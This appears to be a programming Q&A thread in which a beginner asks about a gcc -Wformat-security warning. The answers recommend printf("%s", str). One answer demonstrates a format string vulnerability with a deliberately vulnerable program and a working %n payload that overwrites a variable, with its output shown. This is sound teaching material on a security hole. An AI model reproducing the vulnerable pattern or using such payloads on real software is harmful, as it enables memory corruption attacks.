I'm attempting to learn C and already I've run into an issue. I assume its trivial but I need to know it. I have written:
#include <stdio.h> #include <string.h> int main() { char str_a[20]; strcpy(str_a, "Hello, world!\n"); printf(str_a); }
Once I attempt to compile it with: gcc -g -o char_array2 char_array2.c I receive an error saying:
char_array2.c: In function ‘main’: char_array2.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security]
Can anyone help please?
When using printf
, the format string is better be a string literal and not a variable:
printf("%s", str_a);
Just to add something to other answers, you better do this because a (long?) time ago people wrote printf like that and hackers found a way to read from and write to the stack, more here.
For example, a simple program like this:
blackbear@blackbear-laptop:~$ cat format_vul.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_var = -1; if(argc < 2) { printf("Use: %s <input>\n", argv[0]); exit(-1); } strcpy(text, argv[1]); printf("The correct way:\n"); printf("%s", text); printf("\nThe wrong way:\n"); printf(text); printf("\n[*]: test_var @ %8p = %d ( 0x%x )\n", &test_var, test_var, test_var); } blackbear@blackbear-laptop:~$ ./format_vul AAAA The correct way: AAAA The wrong way: AAAA [*]: test_var @ 0x804a024 = -1 ( 0xffffffff )
Can be used to change test_var's value from 0xffffff to something else, like 0xaabbccdd:
blackbear@blackbear-laptop:~$ ./format_vul $(printf "\x24\xa0\x04\x08JUNK\x2 5\xa0\x04\x08JUNK\x26\xa0\x04\x08JUNK\x27\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x. %8x.%8x.%8x.%8x.%110x.%n%239x%n%239x%n%239x%n The correct way: $�JUNK%�JUNK&�JUNK'�.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%110x.%n%239x%n%239 x%n%239x%n The wrong way: $�JUNK%�JUNK&�JUNK'�.bfffefec. 154d7c. 155d7c. 155d7c. f0. f0.b ffff4a4. 4. 4. 174. 50415243 50415243 50415243 [*]: test_var @ 0x804a024 = -1430532899 ( 0xaabbccdd )
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